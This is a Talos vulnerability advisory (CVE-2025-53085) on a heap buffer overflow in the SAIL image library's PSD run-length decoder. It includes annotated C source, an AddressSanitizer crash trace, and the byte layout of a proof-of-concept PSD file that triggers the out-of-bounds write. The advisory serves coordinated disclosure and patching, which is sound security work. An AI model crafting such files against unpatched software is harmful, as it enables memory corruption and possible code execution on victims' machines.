Talos Vulnerability Report

TALOS-2025-2219

SAIL Image Decoding Library PSD RLE Decoding heap-based buffer overflow vulnerability

August 25, 2025
CVE Number

CVE-2025-53085

SUMMARY

A memory corruption vulnerability exists in the PSD RLE Decoding functionality of the SAIL Image Decoding Library v0.9.8. When decompressing the image data from a specially crafted .psd file, a heap-based buffer overflow can occur which allows for remote code execution. An attacker will need to convince the library to read a file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SAIL Image Decoding Library v0.9.8
221db576ce1263ab92bd882f344b68b8eec16cad (master)

PRODUCT URLS

SAIL Image Decoding Library - https://sail.software/

CVSSv3 SCORE

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-122 - Heap-based Buffer Overflow

DETAILS

SAIL is a format-agnostic image decoding library supporting all popular image formats. Being one of the fastest among competitors, it provides simple yet powerful C/C++ API for end-users. SAIL works on Windows, macOS, and Linux platforms.

When the library is used to read a PSD image file, the following sail_codec_load_init_v8_psd function will be used. At [1], a uint32_t signature is read from the beginning of the file and then verified. Next at [2], a uint16_t integer is read as the version. This version is then checked that its value is 1.

sail/src/sail-codecs/psd/psd.c:101-128
SAIL_EXPORT sail_status_t sail_codec_load_init_v8_psd(struct sail_io *io, const struct sail_load_options *load_options, void **state) {

...
    /* Init decoder. PSD spec: https://www.adobe.com/devnet-apps/photoshop/fileformatashtml/#50577409_89817 */
    uint32_t magic;
    SAIL_TRY(psd_private_get_big_endian_uint32_t(psd_state->io, &magic));       // [1] read uint32_t signature

    if (magic != SAIL_PSD_MAGIC) {                                              // [1] verify the signature
...
    }

    uint16_t version;
    SAIL_TRY(psd_private_get_big_endian_uint16_t(psd_state->io, &version));     // [2] read the uint16_t version

    if (version != 1) {                                                         // [2] verify the version
...
    }

    return SAIL_OK;
}

Before loading the frame, the rest of the header of the PSD image file will be read. At [3], the number of channels is read. At [4] and [5], the image dimensions are read as a pair of uint32_t. Next at [6], the color depth is read. This is followed by the image mode at [7] and the image data size at [8]. Once everything has been properly read from the header, at [9] the implementation will skip over any image resources that may be stored in the image.

sail/src/sail-codecs/psd/psd.c:130-242
SAIL_EXPORT sail_status_t sail_codec_load_seek_next_frame_v8_psd(void *state, struct sail_image **image) {

...
    /* Read PSD header. */
    SAIL_TRY(psd_private_get_big_endian_uint16_t(psd_state->io, &psd_state->channels));     // [3] read the uint16_t number of channels

    uint32_t height;
    SAIL_TRY(psd_private_get_big_endian_uint32_t(psd_state->io, &height));                  // [4] read the uint32_t image height

    uint32_t width;
    SAIL_TRY(psd_private_get_big_endian_uint32_t(psd_state->io, &width));                   // [5] read the uint32_t image width

    SAIL_TRY(psd_private_get_big_endian_uint16_t(psd_state->io, &psd_state->depth));        // [6] read the color depth

    uint16_t mode;
    SAIL_TRY(psd_private_get_big_endian_uint16_t(psd_state->io, &mode));                    // [7] read the image mode

    uint32_t data_size;
    SAIL_TRY(psd_private_get_big_endian_uint32_t(psd_state->io, &data_size));               // [8] read the image data size
...

    /* Skip the image resources. */
    SAIL_TRY(psd_private_get_big_endian_uint32_t(psd_state->io, &data_size));               // [9] skip over any resources in the image
    SAIL_TRY(psd_state->io->seek(psd_state->io->stream, data_size, SEEK_CUR));
    /* Skip the layer and mask information. */
    SAIL_TRY(psd_private_get_big_endian_uint32_t(psd_state->io, &data_size));
    SAIL_TRY(psd_state->io->seek(psd_state->io->stream, data_size, SEEK_CUR));
...
    return SAIL_OK;
}

Continuing inside the sail_codec_load_seek_next_frame_v8_psd function, at [10] the compression type will be read as a uint16_t and verified. Next at [11], the size for each channel is calculated using the color depth and image width. This size is then used to allocate a buffer that will be used for decoding a scan line of the image data. Afterwards at [12], the pixel format will be determined from the image mode, number of channels, and color depth. Upon determining the pixel format, each of the dimensions will be stored at [13]. At [14], the image width will be multiplied by the pixel format in order to determine the number of bytes used by each row of the decoded image. This will later be used to allocate the buffer that will be used to decode image data from the file.

sail/src/sail-codecs/psd/psd.c:130-242
SAIL_EXPORT sail_status_t sail_codec_load_seek_next_frame_v8_psd(void *state, struct sail_image **image) {

...
    /* Compression. */
    uint16_t compression;
    SAIL_TRY(psd_private_get_big_endian_uint16_t(psd_state->io, &compression));                             // [10] read the uint16_t compression type

    if (compression != SAIL_PSD_COMPRESSION_NONE && compression != SAIL_PSD_COMPRESSION_RLE) {              // [10] verify the compression type is valid
        SAIL_LOG_ERROR("PSD: Unsuppored compression value #%u", compression);
        SAIL_LOG_AND_RETURN(SAIL_ERROR_UNSUPPORTED_COMPRESSION);
    }

    psd_state->compression = compression;

...
    /* Used to optimize uncompressed readings. */
    if (psd_state->compression == SAIL_PSD_COMPRESSION_NONE) {
        psd_state->bytes_per_channel = ((unsigned)width * psd_state->depth + 7) / 8;                        // [11] calculate bytes for each channel

        void *ptr;
        SAIL_TRY(sail_malloc(psd_state->bytes_per_channel, &ptr));                                          // [11] use them to allocate a buffer
        psd_state->scan_buffer = ptr;
    }

    SAIL_LOG_TRACE("PSD: mode(%u), channels(%u), depth(%u)", mode, psd_state->channels, psd_state->depth);

    enum SailPixelFormat pixel_format;
    SAIL_TRY(psd_private_sail_pixel_format(mode, psd_state->channels, psd_state->depth, &pixel_format));    // [12] determine the pixel format

...
    image_local->width          = width;                                                                    // [13] store the dimensions and calculated fields
    image_local->height         = height;
    image_local->pixel_format   = pixel_format;
    image_local->palette        = psd_state->palette;
    image_local->bytes_per_line = sail_bytes_per_line(image_local->width, image_local->pixel_format);       // [14] calculate number of bytes per line

    /* Palette has been moved. */
    psd_state->palette = NULL;

    *image = image_local;

    return SAIL_OK;
}

Once the image data buffer has been allocated, the following sail_codec_load_frame_v8_psd function will be used to decode the image data. At [15] and [16], the implementation will loop over each channel and row being decoded. Inside these loops at [17], the implementation will begin to loop over each individual pixel being decoded and read the first byte. At [18] if this byte is larger than 128, then the implementation will calculate the number of bytes to fill with at [19]. Once the number of pixels to fill has been read, then at [20] the color to use for filling will be read. Afterwards at [21], a loop will be entered in order to fill the specified number of pixels with the color read from the image data. Due to this loop not accommodating for the size of the heap buffer that was calculated using the image dimensions, this run-length decoding loop can write outside the bounds of the allocated buffer. This is a heap-based buffer overflow which can result in code execution under the context of the library.

sail/src/sail-codecs/psd/psd.c:244-298
SAIL_EXPORT sail_status_t sail_codec_load_frame_v8_psd(void *state, struct sail_image *image) {

    const struct psd_state *psd_state = state;

    const unsigned bpp = (psd_state->channels * psd_state->depth + 7) / 8;

    if (psd_state->compression == SAIL_PSD_COMPRESSION_RLE) {
        for (unsigned channel = 0; channel < psd_state->channels; channel++) {                              // [15] loop over each channel
            for (unsigned row = 0; row < image->height; row++) {                                            // [16] loop over each row
                for (unsigned count = 0; count < image->width; ) {                                          // [17] loop over each pixel
                    unsigned char c;
                    SAIL_TRY(psd_state->io->strict_read(psd_state->io->stream, &c, sizeof(c)));

                    if (c > 128) {                                                                          // [18] If run-length encoded
                        c ^= 0xff;                                                                          // [19] take the difference of 256 and count
                        c += 2;                                                                             // [19] then add 1 to it

                        unsigned char value;
                        SAIL_TRY(psd_state->io->strict_read(psd_state->io->stream, &value, sizeof(value))); // [20] read the color used for filling

                        for (unsigned i = count; i < count + c; i++) {
                            unsigned char *scan = (unsigned char *)sail_scan_line(image, row) + i * bpp;    // [21] calculate position in buffer
                            *(scan + channel) = value;                                                      // [21] fill the buffer with the specified color
                        }
                    } else if (c < 128) {
...
                    }

                    count += c;
                }
            }
        }
...

    return SAIL_OK;
}

Crash Information

$ sail decode poc.psd
File          : poc.psd
Codec         : PSD [Photoshop Document]
Codec version : 0.8.1
=================================================================
==161654==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5801d78 at pc 0x0815c08d bp 0xffdfce08 sp 0xffdfcdf0
WRITE of size 1 at 0xf5801d78 thread T0
    #0 0x0815c08c in sail_codec_load_frame_v8_psd /path/to/sail/sail/src/sail-codecs/psd/psd.c:266:47
    #1 0x0814116e in sail_load_next_frame /path/to/sail/sail/src/sail/sail_advanced.c:119:5
    #2 0x08138a0f in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:237:22
    #3 0x08138a0f in decode /path/to/sail/sail/examples/c/sail/sail.c:265:5
    #4 0x08138a0f in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
    #5 0xf7bb90e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
    #6 0xf7bb91b7 in __libc_start_main@GLIBC_2.0 (/lib/libc.so.6+0x31b7) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
    #7 0x08048a57 in _start (/path/to/sail/sail+0x8048a57) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)

0xf5801d78 is located 0 bytes after 8-byte region [0xf5801d70,0xf5801d78)
allocated by thread T0 here:
    #0 0x080eaf46 in malloc (/path/to/sail/sail+0x80eaf46) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)
    #1 0x08178131 in sail_malloc /path/to/sail/sail/src/sail-common/memory.c:34:23
    #2 0x081410f6 in sail_load_next_frame /path/to/sail/sail/src/sail/sail_advanced.c:116:5
    #3 0x08138a0f in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:237:22
    #4 0x08138a0f in decode /path/to/sail/sail/examples/c/sail/sail.c:265:5
    #5 0x08138a0f in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
    #6 0xf7bb90e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)

SUMMARY: AddressSanitizer: heap-buffer-overflow /path/to/sail/sail/src/sail-codecs/psd/psd.c:266:47 in sail_codec_load_frame_v8_psd
Shadow bytes around the buggy address:
  0xf5801a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf5801b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf5801b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf5801c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf5801c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0xf5801d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 00[fa]
  0xf5801d80: fa fa 00 fa fa fa 00 04 fa fa 00 fa fa fa fd fa
  0xf5801e00: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
  0xf5801e80: fa fa 00 04 fa fa 00 fa fa fa 00 00 fa fa 00 fa
  0xf5801f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf5801f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==161654==ABORTING

Exploit Proof of Concept

$ python -i poc.py3.zip poc.psd

The image generated by the proof-of-concept has the following format. This vulnerability involves only the “Header” and “ImageData” fields.

>>> psd
<class psd.File> 'unnamed_7fdd1ca65970' {unnamed=True}
[0] <instance psd.Header 'Header'> "\x38\x42\x50\x53\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x10\x00\x04"
[1a] <instance psd.ColorModeData 'ColorModeData'> "\x00\x00\x00\x00"
[1e] <instance psd.ImageResources 'ImageResources'> "\x00\x00\x00\x00"
[22] <instance psd.LayerAndMaskInformation 'LayerAndMaskInformation'> "\x00\x00\x00\x00"
[26] <instance psd.ImageData 'ImageData'> "\x00\x01\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff ...total 4098 bytes... \xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
[1028] <instance ptype.block 'Extra'> ...

The following header contains the fields that are used to allocate space for the buffer being overflown. In this header, the product of the the number of bytes from the “Depth” field is combined with the “Width” and “Height” to allocate space to decode the image data into. In the generated image, the “Width” and “Height” are both set to 1. The “Depth” field contains the number of bits. So, in order to determine the number of bytes it will need to be divided by 8. The fields set in this image will result in space being allocated a single pixel.

>>> psd['header']
<class psd.Header> 'Header'
[0] <instance be(psd.Header._Signature) 'Signature'> Default(0x38425053)
[4] <instance be(psd.u16) 'Version'> 0x0001 (1)
[6] <instance dynamic.block(6) 'Reserved'> (6) "\x00\x00\x00\x00\x00\x00"
[c] <instance be(psd.u16) 'Channels'> 0x0004 (4)
[e] <instance be(psd.u32) 'Height'> 0x00000001 (1)
[12] <instance be(psd.u32) 'Width'> 0x00000001 (1)
[16] <instance be(psd.u16) 'Depth'> 0x0010 (16)
[18] <instance be(psd.Header._Mode) 'Mode'> CMYK(0x4)

After the header is read, the image data will be decoded. The image data starts out with a “Compression” field which must be set to RLE(1). Once the library has determined the data is run-length encoded, the library will begin decoding. The first byte of the RLE-encoded data at offset 0x28 is used to specify whether to fill some number of pixels with a single color, or to write individual pixels from the file into the allocated buffer. The number of bytes to fill with is specified by setting the high-bit (0x80) of the first byte, subtracting it from 0x100, and then adding 1 to it. Afterwards, the next byte contains the color that will be used to fill with.

>>> psd['imagedata']
<class psd.ImageData> 'ImageData'
[26] <instance be(psd.ImageData._Compression) 'Compression'> RLE(0x1)
[28] <instance ptype.block 'Data'> (4096) "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff ...total 4096 bytes... \xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"

If any of the run-length encoded bytes being decoded overflows the buffer that was allocated using the product of the bytes per pixel and the image height, then this vulnerability is being triggered.

TIMELINE

2025-07-29 - Initial Vendor Contact
2025-07-29 - Vendor Disclosure
2025-07-30 - Vendor Patch Release
2025-08-25 - Public Release

Credit

Discovered by a member of Cisco Talos.